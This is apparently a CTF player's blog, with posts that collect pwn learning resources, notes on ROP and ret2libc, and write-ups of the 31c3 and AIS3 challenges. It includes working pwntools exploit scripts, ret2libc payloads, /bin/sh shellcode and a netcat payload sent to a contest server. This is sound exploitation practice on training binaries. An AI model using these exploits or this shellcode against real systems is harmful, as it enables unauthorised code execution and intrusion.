PWN on Zet’s playground

How to pwnable

Tue, 09 Jan 2018 00:00:00 +0800

Updated over time~

website, doc and video

https://ctf-wiki.github.io/ctf-wiki

LiveOverflow youtube channel
https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w
http://liveoverflow.com/binary_hacking/protostar/index.html

Heap techniques summary
https://github.com/shellphish/how2heap

A series of slides by a Japanese competitor
http://www.slideshare.net/bata_24/presentations

杨坤：掘金CTF ——CTF中的内存漏洞利用技巧
http://netsec.ccert.edu.cn/wp-content/uploads/2015/10/2015-1029-yangkun-Gold-Mining-CTF.pdf

Modern Binary Exploitation by RPISEC
http://security.cs.rpi.edu/courses/binexp-spring2015/
https://github.com/RPISEC/MBE

https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn

exploit techniques compiled by inaz2
http://inaz2.hatenablog.com/archive/category/Exploit?page=1
http://inaz2.hatenablog.com/archive/category/Exploit?page=2

http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf

https://github.com/str4tan/pwning

Heap:
https://github.com/cloudburst/libheap
https://github.com/DhavalKapil/libdheap
https://github.com/degrigis/Heapy
https://github.com/shellphish/how2heap

wargame and ctf

https://pwnable.tw/
http://pwnable.kr/
https://bamboofox.cs.nctu.edu.tw/
http://overthewire.org/wargames/
https://w3challs.com/
https://exploit-exercises.com/nebula/
http://ctf.katsudon.org/
http://ctf.katsudon.org/ctf4u/

tools

debug

Return Oriented Programming

Tue, 31 May 2016 00:00:00 +0800

Some notes.

Tools for finding gadgets

rp++
ROPgadget

Ret2libc

When the program has NX enabled, shellcode on the stack can’t execute; you can use ret2libc, or use ROP to call mprotect and open an rwx segment.

Passing arguments

x86 via the stack
x86_64 via registers

Ret2libc stack layout

Stack the arguments as completely as possible to avoid annoying issues.

The usual x86 layout is:

padding +  function + ret address + argv1 + argv2 + argv3 ....

The function can usually jump straight to .plt; the ret address is where you want to go after it finishes. If you’re just building system("/bin/sh"), the ret address can be left blank.

For example:

'A'*100 + p32(system_addr) + p32(0) + p32(binsh_addr)

x64: Use some pop reg gadgets to set up the registers.

x32

Arguments are stacked directly on the stack; use pop_ret to clear the used arguments.

read @ plt
pop_pop_pop_ret
0
addr
length
system @ plt

x86_64

Max address 0x00007fffffffffff

DynELF

If you don’t know the target’s libc, you can use a pwntools tool called DynELF: give it a leak point and it can find function addresses for you.

This is cfy from the 31c3 CTF, which you can use for practice:

from pwn import *
import time

printf_got = 0x601020

def leak(addr):
    r.sendline('2')
    r.sendline(p64(addr) )
    s = r.recvline_contains('hex: 0x')[5:].strip()
    s = p64( int(s,16) )
    return s

r = remote('localhost',4000)

ptr_libc = u64(leak(printf_got))
d = DynELF(leak, ptr_libc)
system = d.lookup('system')

print r.recvuntil('quit')
r.sendline('7')
r.sendline('/bin/sh\x00' + 'A'*8 + p64(system) )

r.interactive()

ASLR

aslr on

sudo sysctl -w kernel.randomize_va_space=2

aslr off

sudo sysctl -w kernel.randomize_va_space=0

If ASLR is on, locally on 32-bit you can disable it with ulimit -s unlimited, or you can use puts to leak data in the .got section — the offsets between libc functions are fixed.

Commonly seen functions:

__libc_start_main
puts
read
write
…..

x64 general-purpose gadgets

All of these functions can be used:

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

ROPgadget --binary ./binary --depth 100

Different versions have slightly different gadgets, but they’re all usable — they live in __libc_csu_init()

If some instructions are cut in half, you can still operate on registers:

<__libc_csu_init>:
5b                       pop    rbx
5d                       pop    rbp
41 5c                    pop    r12   ->   pop rsp (5c)
41 5d                    pop    r13   ->   pop rbp (5d)
41 5e                    pop    r14   ->   pop rsi (5e)
41 5f                    pop    r15   ->   pop rdi (5f)
c3                       ret

mov    rbx,QWORD PTR [rsp+0x8]
mov    rbp,QWORD PTR [rsp+0x10]
mov    r12,QWORD PTR [rsp+0x18]
mov    r13,QWORD PTR [rsp+0x20]
mov    r14,QWORD PTR [rsp+0x28]
mov    r15,QWORD PTR [rsp+0x30]
add    rsp,0x38
ret

Using these gadgets you can control r12-r15; for the call qword ptr [r12+rbx*8], set rbp to 1 and rbx to 0 so that it keeps returning. It’s clearer if you step through this part yourself.

4c 89 ea                 mov    rdx,r13
4c 89 f6                 mov    rsi,r14
44 89 ff                 mov    edi,r15d
41 ff 14 dc              call   QWORD PTR [r12+rbx*8]

One gadgets RCE

Some specific libc versions hide a spot that directly runs execv("/bin/sh"). Look near where libc uses execv for a hidden “/bin/sh” string — sometimes it just works.

PWN tool list

Wed, 25 Nov 2015 00:00:00 +0800

ub 14.04 x64

i32 lib

apt-get install gcc-multilib

cd /etc/apt/sources.list.d
echo "deb http://old-releases.ubuntu.com/ubuntu/ raring main restricted universe multiverse" >ia32-libs-raring.list
apt-get update
apt-get install ia32-libs

dpkg --add-architecture i386
apt-get update
apt-get install libssl-dev:i386

PEDA

apt-get install nasm micro-inetd
apt-get install libc6-dbg
https://github.com/longld/peda

qira

https://github.com/BinaryAnalysisPlatform/qira

pwntools

Includes checksec and ROPgadget tools

sudo pip install git+https://github.com/Gallopsled/pwntools#egg=pwntools

fix bug

cp /usr/local/lib/python2.7/dist-packages/usr/lib/python2.7/dist-packages/capstone/libcapstone.so /usr/local/lib/python2.7/dist-packages/capstone/.

rp++

https://github.com/0vercl0k/rp/downloads

ncat

sudo apt-get install netcat-traditional netcat-openbsd nmap

AIS3 PWN

Tue, 24 Nov 2015 00:00:00 +0800

A quick write-up.

PWN1

Throw it into IDA and you can see:

if ( v4 == 0x90909090 )
result = puts(aCensordCensord);
else
result = printf("Your point is only %d, try hard!\n", v4, v1,
v2, v3);
return result;

Just stuff it with 0x90 and you’re done:

python -c 'print "\x90"*1000' | nc 52.69.163.194 1111

PWN2

After locating byte 20 you can control eip:

gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08048364  _init
0x080483a0  read@plt

You can point it at read; generally it looks like this:

call
ret
argv1
argv2
argv3

You can control read’s return address and arguments, so you can point ret and our shellcode at the same location; for the shellcode, just find any blank area and write it there.

from pwn import *
import time
r = remote('127.0.0.1', 4000)
read_adr = "\xa0\x83\x04\x08"
read = "\x00\x00\x00\x00" + "\x00\xa1\x04\x08" + "\x00\x01\x00\x00"
p = "a"*20 + read_adr + "\x00\xa1\x04\x08" + read
r.send (p)
time.sleep(5)
r.send ("\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd
\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")

PWN3

A lot of this I worked out with qira. For pwn3, you can keep using push to overwrite ret, and finally exit to complete the overwrite. First figure out how far the pop leak value is from our shellcode; the difference works out to 36, but it will overwrite ret, so after ret we need to give it a pointer to our shellcode. With %d, anything over 0x80000000 needs 0x100000000 subtracted so the value inserted comes out correct. Our payload is expected to look like this:

point to shellcode + shellcode + nop + ret

from pwn import *
import time
r = remote('127.0.0.1',4000)
def push(num):
     r.send('1\n')
     time.sleep(0.2)
     if num > 0x80000000:
           num -= 0x100000000
     r.send( str(num) + '\n')
#pop leak
r.send('2\n')
item = r.recvline_contains('item')[13:23]
shell_adr = int(item,16) - 36 + 4
#shellcode point
push(shell_adr)
#shellcode
push(0x315b0beb)
push(0x31c931c0)
push(0xcd0bb0d2)
push(0xfff0e880)
push(0x622fffff)
push(0x732f6e69)
push(0x90900068)
#nop
for _ in range (0,16):
     push(0x90909090)
#ret
push(shell_adr)
#exit
time.sleep(1)
r.send('4\n')
#get shell
r.interactive()